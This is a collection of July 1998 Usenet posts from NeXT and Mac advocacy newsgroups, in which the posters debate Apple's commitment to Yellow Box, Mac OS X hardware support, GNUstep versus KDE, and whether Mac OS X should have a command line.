Date: Mon, 13 Jul 1998 18:08:34 GMT
Sender: adt@netcom9.netcom.com
The Doom That Came To Usenet (TheLidlessEyeTh@Sees.All) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: > FWIW, I think VPC is an amazing achievement,
: > correctness being more important than speed.
:
: "Correctness"?
: Whaddya mean, reliability? Compatability?
: Politically correct?
Sorry, a technical term, math/science. Correctness being it gives the
correct answer, performs the designated job without error, ...
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 13 Jul 1998 10:50:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6odhc8$aue@nntp02.primenet.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com>
Don Yacktman <don@misckit.com> wrote:
: Someday GNUSTEP will be ready for us, but today it isn't. Don't you dare ask
: why we aren't coding GNUSTEP itself either. As I said, we are damn busy. In
: fact, we also have to put food on the table, and writing code that will be
: given away doesn't help with that. (Despite that fact, many of us _are_
: participating in free software projects, because we do care--like what I do
: for the MiscKit--so you can't reasonably ask for much more from us!)
I know you are doing your part with MiscKit, Don. Just the same, many
posters do seem to have a little of the "us vs. them" sentiment that the
earlier poster was addressing. People say "We can't use GNUStep because
they aren't done yet." Who is "they" if it isn't OpenStep programmers?
KDE just went 1.0 and Gnome isn't that far behind. If "they" don't finish
GNUStep it's not going to bother users, the users will just use one other
other packages. The only people to loose out will be OpenStep developers.
Heck, if there had been more GNUStep supporters, there might not have ever
been a KDE.
John
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: Mon, 13 Jul 1998 13:05:57 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AA4C85.AE9AE97@ericsson.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com> <6odhc8$aue@nntp02.primenet.com>
Mime-Version: 1.0
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John Jensen wrote:
> KDE just went 1.0 and Gnome isn't that far behind. If "they" don't finish
> GNUStep it's not going to bother users, the users will just use one other
> other packages. The only people to loose out will be OpenStep developers.
>
> Heck, if there had been more GNUStep supporters, there might not have ever
> been a KDE.
KDE is maturing quickly. It will soon (sooner than a GNUstep 1.0
release) be every bit as functional a user environment as OPENSTEP. The
development environment is excellent and modern tools are always
appearing. Application announcements appear daily.
Inside of a year GNUstep will be irrelevant because there will be no
compelling reason for it to exist (outside of the GNU conspirators'
desire for a GNU-controlled system). The only thing OpenStep developers
will be "losing" will be their pride.
The main reason for this is that the KDE developers have zero
compunctions about stealing ideas. The interface is a shameless hybrid
of other UIs' defining elements. The applications and development tools
likewise borrow from everyone. No doubt the instant GNUstep demonstrates
a single compelling advantage KDE will already have it, due to the KDE
developers' willingness to borrow ideas and Qt's powerful framework.
Rather than adhering to a 4-year-old specification document, the KDE
developers believe in excellent software development, and they will get
there before GNUstep does.
MJP
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Mon, 13 Jul 1998 14:55:32 -0700
Organization: PM Global Foods, LLC
Message-ID: <35AA8254.BF3EA723@nospam.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
Mime-Version: 1.0
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Don Yacktman wrote:
>
> > So, if you want another Intel solution other than YB on NT, keep
> > letting Apple know. But also, think out of the box (e.g., would YB for
> > BSD/Intel or YB for Linux/Intel be acceptable alternatives?)
>
> I've thought about it, and I think that YB/Linux would go a long way to
> making me feel better about the whole thing. But YB/Linux is still not the
> same as Mach on Intel--there are parts missing that I have grown to
> appreciate. Things like Netinfo and all the tools in /NextApps and
> /NextAdmin. With enough time, there will be GNUStep on Linux, and enough
> more time, many of those tools will be recreated. But why reinvent the
> wheel? Mach/Intel works _today_, so why trash it?
As much as I'd like to believe that Apple has YB as a primary focus for
the future, I absolutely don't believe it for a second anymore. Have
you noticed that the only quotes regarding Yellow Box anyone has seen in
print for 6 months or more have come from non-Apple people? Have you
noticed that every quote coming from Apple is either about Carbon,
QuickTime or hardware? Have people been counting the number of times
they've read "Apple is still a hardware company" since the initial YB
announcements?
I would bet a significany dollar amount that YB doesn't advance (ie: no
more development) on any platform but Apple hardware beyond the release
of OSX. I'd actually guess that the people deep enough inside Apple
already know this. Do people fail to recall the development cycle that
OpenStep for Windows went through and how crappy it was until recently?
Do you remember having your rep at NeXT tell you that it was too hard to
write to Windows because it was like a moving target for something as
complicated as OpenStep?
Besides, who is going to convince their boss that they should write for
an environment being pushed by Apple (remember, <5%) that runs natively
under Apple hardware but runs on top of Windows in a layer and it runs
under Intel but that platform is doomed before it is even released.
People seem to think that Rhapsody is this new, great technology that is
difficult for Apple to support on all these platforms. NeXT was ALOT
smaller of a company and has been supporting it for a long time! These
excuses are rediculous. These are like the crap I heard from NeXT 3.3
-> 4.0 and the reason they spent so little work in making good
conversions for my 3.3 source to 4.0. It was a bear! Now, what are the
changes your yellow box code will actually compile for Mac OSX? Nil.
Apple wants to make $100 a pop on iMacs and they need an OS that is
"good enough" to sell them. Once they have that, all us developers that
know how good it could be will be told to use Carbon or get lost. Then
we'll be told how this minor upgrade to an age old environment is
somehow superior. Yeah right. Yellow is dead unless I can read at
least ONE DAMN NEW NEWS CLIP on their freaking web site about it.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Mon, 13 Jul 1998 14:59:47 -0700
Organization: PM Global Foods, LLC
Message-ID: <35AA8353.347603D6@nospam.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <slrn6qd055.30p.sal@panix3.panix.com>
Mime-Version: 1.0
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Salvatore Denaro wrote:
>
> On 10 Jul 1998 17:34:33 GMT, Don Yacktman <don@misckit.com> wrote:
> >Yellow box on Winblows sucks rocks out of black holes. Winblows is NOT a
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >"solution" as far as I'm concerned. I want the full OS, on Intel. Period.
> ^^^^^^^^^^
>
> I agree that NT is less than optimal in many/most cases; BUT, I CAN NOT
> SELL A PRODUCT THAT WILL NOT RUN WITH MS OFFICE. Unless OSXtel can run
> MS Office (native, not under a "RedBox") then I can not sell it.
>
> YB on NT is a much easier sell.
Yes, but it isn't easier to develop. Apple won't likely make a nickel
on selling YB on Windows anyway, so why would you believe they will
continue to support it if they don't even support YB on Mach/Intel when
they could easily sell that for more profit than they make on five
iMacs? Hard to swallow. Developers will NOT build YB apps on YB for
Windows. It is a really cool development platform that runs too poorly
with too few benefits. They'd run Delphi which isn't much worse than YB
development, has a wider audience and runs much better. They'd run Java
because of all the PR perks, etc. The only way you get Intel developers
to write to Yellow Box is give them a kick-ass Mach based development
environment that deploys on Macs and Windows. YB for Windows is not
much better than Java, and based on the time frames, it will likely be
no better than Java when it starts to matter. The OS is the only thing
Apple has to offer to Intel people. If you don't think we care, why do
7 million or so of us run Linux!?
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Yellow Box future?
Date: Mon, 13 Jul 1998 15:06:57 -0700
Organization: PM Global Foods, LLC
Message-ID: <35AA8501.CF6AAF27@nospam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Since Apple doesn't seem to want to talk about what they consider thir
red headed step child - Yellow Box - does anyone want to comment on the
following?
1) Is ObjectiveC actually going to be a/the primary development
environment for all "from scratch" programs by MacOS X's release?
2) If not, do they intend to somehow wrap the API up in C++ or are they
going to just go to a complete JNI interface via Java (actually,
probably best long term solution - not byte code folks.)
3) Or, my personal pessimism evident, is Yellow Box dead in the water
and you'll never hear Apple talk about it again (like the read headed
step child locked in the attic scenerio.) We've seen them do it with so
many other technologies. More importantly, I feel like that lockd up
kid every time I look at my NeXTSTEP 3.x boxes around the office. Will
Carbon be "it"? I mean, think about it, they are talking about unifying
a single OS on all platforms, including a handheld, right? Do you
honestly believe that you'll see an ObjectiveC program using .nib files
on a handheld? C'mon
So, is there anything in print or on an official web site regarding
Yellow Box that has been possitive or forward thinking - that has been
published since the Carbon announcement? I can't find anything, and I
think I would be a flaming idiot to program for Yellow until there is
something to hear.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 19:04:01 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6odln1$2dt@shelob.afs.com>
References: <6odhav$6iu$1@server.signat.org>
Maury Markowitz writes
> Apple has done pretty much nothing whatsoever to tell people about YB,
> and the end result that I've seen is that many people are hostile
> towards it with overall ignorance. At the same time the "old time" YB
> developers aren't helping matters much. When we express shock at the
> hoops you have to jump through to get even Hello World up and running
> you're left almost speechless, the MacOS people think we're being snide.
Soon after the NeXT purchase, *many* NS/OS programmers tried to get
involved in educational efforts, through Omni's lists and late lamented
Semper Fi. For a time, there were sincere efforts on both sides to
understand what Apple already had and what it had just acquired. But as
RDR dates slipped further and further away, and Apple became more and
more mealy-mouthed about its level of commitment to NeXT technologies,
early potential Mac adopters slipped away too.
I watched about two hours of YB demos at MacWorld/NY last week. It never
ceases to amaze me how quickly Mac programmers get excited by a proper
demonstration of YB and its tools. Especially since most of this stuff
(the "word processor" demo) was old hat in the NeXT world six or seven
years ago. Apple's biggest failing has been the lack of a turnkey demo,
constructed from a traditional Mac programmer's perspective, of what
makes YB so special. I think a proactive education campaign would have
had a significant effect on the Mac programming community.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Mac OS X HW support: the too slow arguement
Date: Mon, 13 Jul 1998 14:24:28 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
I've seen some people point out that a good reason for dropping support
for pre-G3 PowerMacs is because they are too slow to run Mac OS X.
I don't believe it. Mac OS X and Rhapsody are founded on NeXT/OpenStep.
Somehow this managed to be much more responsive than equivalent Macs on
lowly 68040 processors. 68040 based Macs don't even have any emulation
baggage that PPC based Macs have when running the Mac OS yet still
NeXTStep was generally faster and more responsive than the Mac OS.
Now we are going to get Rhapsody. Rhapsody will run on some 604 and 604e
based PowerMacs. These machines are dozens of times faster than the 68k
hardware than NeXTStep/OpenStep ran on. Rhapsody is based on OpenStep.
Performance on these machines should be perfectly acceptable and _much_
better than the Mac OS particularly because none of the OS will be
emulated 68k code. (Actually, from what I understand, OpenStep didn't run
very fast on the 68k NeXT hardware, though NeXTStep was just fine.)
Mac OS X is an updated Rhapsody for some intents and purposes. Its kernel
is supposed to be faster and more efficient as should its imaging model
be. The idea that Mac OS X would be too slow on pre-G3 hardware is
ludicrous when you consider that it should only be _faster_ than Rhapsody
_and_ that Rhapsody is based on an OS that was able to run just fine on
68k hardware!
The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
_NOT_ involve speed (or a lack of it).
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 12:27:02 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981227020001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net>
In article <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>In article <rmcassid-0907981204040001@dante.eng.uci.edu>, rmcassid@uci.edu
>(Robert Cassidy) wrote:
>> Think of Mac OS X supporting G3 hardware in much the same way that
>> Microsoft might announce support for their OSen.
>I hope you are right, but don't count on it. I have DR2 of Rhapsody, and it
>will NOT even install on my Power Computing Power Center Pro (either
>with or without a G3 upgrade card installed). To the installer, my machine
>is a 7200. Apple has INTENTIONALLY excluded the 7200 from Rhapsody
>support. There seems to be no way around this road-block, even though
>Apple engineering has told me that there is really no reason why Rhapsody
>wouldn't run on this machine (with either the original 604E processor or
>the G3 upgrade daughtercard fitted), its just that they never tried it with
>that motherboard, so when they put the gestalt list for the supported
>computers in the Rhapsody installer, that one wasn't included.
Stick your HD into a 7600, install it there, move the HD back to the
PCPro. No, not elegant, but it _might_ work.
BTW, if your machine has a 604e, then it is not like the 7200 which always
had a 601, and didn't have a daughtercard. It is this reason why the 7200
is probably unsupported - it's just different enough than the 604 boxes
that shipped at that time.
BTW, from what I understand, Win98 _refuses_ to install on any machine
slower than a 75MHz Pentium. So theres a little change going on in each
camp.
>Sorry to be so long-winded here, but my point is this: Based upon my
>experiences trying to install DR2 of Rhapsody, I can tell you for a
>dead-cinch fact that Apple most assuredly CAN restrict OSX in any
>way they like. If they design the installer to exclude certain gestalt
>IDs, then OSX simply won't install on those machine irresepective
>of whether or not it will actually run on them!
I wasn't really suggesting that they _wouldn't_ restrict at all (certainly
they won't support NuBus installs, for instance, and OF is _required_).
But a new category seems to have been introduced: the 'runs but is not
officially supported hardware' category.
Apple has never had that, but might be doing it here. No, they won't do it
everywhere, they will still draw some lines, but they may be doing it to
some degree. Drawing the line at 604/daughtercard machines seems
reasonable. I'd love for my 7200s to be supported, but in all honesty I
only paid $900 for them new and they'll be fully depreciated (and then
some) by the time Mac OS X ships. The 8500 and 8600 I have won't be, and
so I don't want to have to replace them quite so soon. Fortunately Mac OS
X Server will run on them, so I am optimistic.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 12:28:06 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981228060001@dante.eng.uci.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <1dbyvxo.1q1hq1w1cq8mp9N@ip169.albnxr2.ras.tele.dk>
In article <1dbyvxo.1q1hq1w1cq8mp9N@ip169.albnxr2.ras.tele.dk>,
xerxes@diku.edu.dk (Per Erik Ronne) wrote:
>Robert Cassidy <rmcassid@uci.edu> wrote:
>
>> Think of Mac OS X supporting G3 hardware in much the same way that
>> Microsoft might announce support for their OSen.
>
>Does this mean that you think it might run on a 6100, possibly with a G3
>upgrade card?
No, not at all.
The CPU is not the issue. The presence of OpenFirmware, PCI devices so
that drivers will work, and so on is the issue.
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 13 Jul 1998 17:49:19 GMT
Organization: wazza?
Message-ID: <6odhav$6iu$1@server.signat.org>
References: <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3>
<6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-1307981231290001@wil55.dol.net> Joe Ragosta wrote:
> I can understand the concerns about YB development. I'm not convinced that
> the matter is settled in anyone's mind at Apple, but they certainly
> haven't made the "YB is the future" kind of comments as forcefully as I'd
> need to be comfortable. I also agree that YB's demise (if it occurred)
> would be very bad.
I think that this is what it all comes down to. Henry has no information
and he's going on his gut feelings - and those are likely good ones over all
because he's been in the Mac industry so long. Indeed, in the past Apple has
"killed" many projects via "the death of a thousand ignorals" and since YB is
getting little press it's certainly not out of the question to suspect
they're up to their old tricks again.
By the same token though, this ISN'T the old Apple. Whether it's different
in this particular regard though is anyone's guess.
The bas part of all of this is that if it were to come about, you'd have a
bunch of MacOS programmers cheering, perhaps gloating is a better word.
Apple has done pretty much nothing whatsoever to tell people about YB, and
the end result that I've seen is that many people are hostile towards it with
overall ignorance. At the same time the "old time" YB developers aren't
helping matters much. When we express shock at the hoops you have to jump
through to get even Hello World up and running you're left almost speechless,
the MacOS people think we're being snide. Worse these same people often DO
make snide comments about the MacOS programmers.
This is bad. Apple as a company simply will NOT grow developer mind share
with "MacOS classic", it's an outdated set of API's that offers no real
advantage over MS's, and in many ways is inferior to Win32.
Maury
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 14:18:53 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35AA5D9D.2F1AB9FA@rauland.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <Evw5BK.8BG@iglou.com>
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Zico wrote:
>
> x-no-archive: yes
>
> Joe Ragosta wrote:
>
> >Actually, the NT fans will tell you that NT works just fine on a 486 66
> >MHz--until you start talking about running it under VPC or SoftWindows.
> >THEN, 486 performance is hopelessly slow.
> >
> >I've never figured out how 486 performance on a "real" PC is OK, while 486
> >performance on a "virtual" PC isn't.
>
> I've never figured out why you say that all NT fans say both of the things
> you mentioned above. You love to take things that two different advocates
> have stated, then combine them and pretend that all advocates are saying
> both things and are contradicting themselves. I really hope that you're doing
> it out of ignorance rather than intentionally trying to deceive, because this
> behavior of yours is pretty slimy, and it's been pointed out to you before.
>
> Z
I have seen both Win 95 and Win NT users do the very same thing that Joe
says they do.
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 13 Jul 1998 14:22:23 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35AA5E6F.4A0F9E1F@rauland.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <6o5b24$5op$4@news.spacelab.net> <macghod-1007981145070001@sdn-ar-001casbarp293.dialsprint.net>
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Steve Sullivan wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > [ ... ]
> > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > THEN, 486 performance is hopelessly slow.
> > >
> > >I've never figured out how 486 performance on a "real" PC is OK, while 486
> > >performance on a "virtual" PC isn't.
>
> Well you are a bright guy, it should be easy to understand. Performance
> wise they are not saying its hopelessly slow, they are just saying why
> spend $2000 to get 486 speed when you can spend $75 to get it. Argue as
> much as you want with that reasoning, but it is still different than what
> you said
The emulator is just to supplement the Mac's functionality by allowing
it to run Windows applications as well as Mac applications. It isn't
intended for people who only run Windows applications.
> --
> So many pedestrians, so little time.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Mon, 13 Jul 1998 11:44:38 -0700
Organization: University of British Columbia
Message-ID: <1dc3qnw.lr7m5iogkq08N@p048.intchg1.net.ubc.ca>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com>
Bruce L. Grubb <bgrubb@zianet.com> wrote:
> In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
> Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
>
> >I am sorry, but I do not understand how you feel that the CLI is
> >important to the MacOS, since MacOS has never been released with
> >one (Rhapsody is not in full release yet). Equally I can not see how
> >"many other things currently depend on" the CLI in the MacOS, since
> >there has never been one.
>
> I agree. Furthermore CLIs for the MacOSs have not done that well. MacDOS
> was very shortlived. HyperCard 1.0-2.1 could be used as a CLI but next to
> noone used it that way. As for the other thinkgs a CLI can do there is
> AppleScript. So other then the obvious matter of resources what is so
> important about a CLI that cannot be done in a GUI?
Gentlemen,
You sound rather like proud owner-operators of toasters discussing the
troubling invention of a truly excellent toaster-oven.
Have no fear. Apple appears to have decided (since everyone knows how to
make toast, while the mere _word_ "oven" can raise the spectre of
impossibly complicated recipes for baked goods) that the oven control of
their new toaster-oven will be removed completely rather than simply
hidden from the naive user.
Mac Toaster X is going to be a toaster: more reliable, more efficient,
more convenient, but just a toaster.
This is a great loss, but one that only those who've enjoyed baking with
an oven (yet still very much relish their toast!) will understand.
--
Bruce Bennett
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 13 Jul 1998 18:24:12 GMT
Organization: University of Waterloo
Message-ID: <900354227.931805@globe.uwaterloo.ca>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
Cache-Post-Path: globe.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <6o5jba$6q$1@news.xmission.com>,
Don Yacktman <don@misckit.com> wrote:
>
>Dropping the Intel OS is only part of burning
>the bridges. They've more or less sent the "you're not worthy to be our
>customer" message of arrogance to the enterprise with some of the other
>recent decisions and announcements.
This is all *really* familiar to long-time NeXTers...
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <forrestDELETE-THIS!-1307981254120001@term3-28.vta.west.net>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175> <kindall-1007981802390001@nic-c41-094.mw.mediaone.net> <6od7o1$6al$1@ironhorse.plsys.co.uk>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 13 Jul 1998 19:54:57 GMT
NNTP-Posting-Date: Mon, 13 Jul 1998 12:54:57 PDT
In article <6od7o1$6al$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> > You'll be able to run all the same software, since there will be Carbon
> > libraries for Mac OS; you just won't have pre-emptive multitasking and
> > full memory protection.
> >
> Umm, I think you're mixing up the functionalities of Carbon and the BlueBox
> -- you may well be able to run all the same software, but this will be
> courtesy of the BlueBox: if, courtesy of your friendly developer, you get a
> Carbon version of your app, it will run with PMT and full MP.
Actually, Malcolm, one of the major key points of Carbon was that - since
it's just a subset of the current Mac Toolbox, with a few added functions
- it will run on earlier MacOS' as well, just without all the modern
buzzwords. And the "Carbon Libraries" I assume just to be some libs which
take the calls dealing with PMT, PM, etc, and do nothing with them, since
the MacOS can't do much with said functions, and if there wasn't something
to deal with them the OS would bounce back an error.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: Mon, 13 Jul 1998 12:54:01 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981254010001@dante.eng.uci.edu>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de> <6o5akb$5op$2@news.spacelab.net> <6o5fj3$bp8$1@news.cs.tu-berlin.de>
In article <6o5fj3$bp8$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
>Again, correct, but Photoshop is a special case, Adobe does not use the
>OSes VM subsystem as far as I can tell. In fact, isn't the default
>recommendation to turn VM off for Photoshop? Also, most users will
>confirm (I think) that Photoshop really, really wants to have real
>RAM.
True, but I do think that is only in the case of the MacOS. When PShop
introduced VM as a feature, the MacOS VM was so ungodly poor that they had
to write their own. It is possible that given that, they decided to do
their own on Win as well just for the sake of a common cross-platform
codebase.
PShop does really want to have real RAM, but quite often I find that the
VM is a nice convenience and only temporary. I might import an enormous
image only to immediately cut it down to size. I won't give PShop all the
RAM that it wants (so that I can do other things) but I can still deal
with the occasionally large file. Personally, I find that with the G3s I
barely even notice when I'm running under VM or not. It always seems fast
now.
-Bob Cassidy
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Mon, 13 Jul 1998 20:05:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6odp9d$km4$1@nnrp1.dejanews.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <6o8ips$u1k$1@nnrp1.dejanews.com> <Pine.OSF.3.92.980712130733.16065D-100000@pigeon.qut.edu.au>
In article <Pine.OSF.3.92.980712130733.16065D-100000@pigeon.qut.edu.au>,
Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
> I have never felt a need for such things in the current MacOS. So to
> answer your question, no I do not think they are important to the MacOS.
> Doubtless there are some who do.
That's interesting and, I believe, somewhat atypical.
> >So above. The guaranteed existance of a shell (don't need a CLI) and the
> >standard utilities greatly simplifies some programming problems. You can use
> >all the standard shell utilities instead of rolling the functionality
> >yourself. For example, say I am writting a program that creates text reports
> >and that 90% of my users then send these highly compressible reports via
> >e-mail. So I add a button in my save dialog so the user to choose to compress
> >the report. With a shell, I'd just call gzip to compress the file. Without
> >it, I'd write a couple thousand lines of code to do compression.
>
> Nope, just use gzip for the Mac. I do.
But if I did this then the compression would not be transparent to the user.
Why should the user be forced to use or even see another application when the
main program could do the work transparently? Look at the shell (another
posted suggested this) as just another API.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: Mon, 13 Jul 1998 12:42:10 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1307981242100001@dante.eng.uci.edu>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk> <slrn6qd35g.30p.sal@panix3.panix.com>
In article <slrn6qd35g.30p.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>"The big challenge is drivers. We would rather do drivers for the PCI
>Macs first, the rest of the world when that's done."
>
>What would be the message to Mac owners if thier 9600s couldn't run
>MacOSX but a DellMMX from the same time could run it?
Good point. Bob is currently marginally pissed-off that WebObjects, let
alone DR2 won't run on his hopefully-soon-to-be-arriving Powerbook G3, but
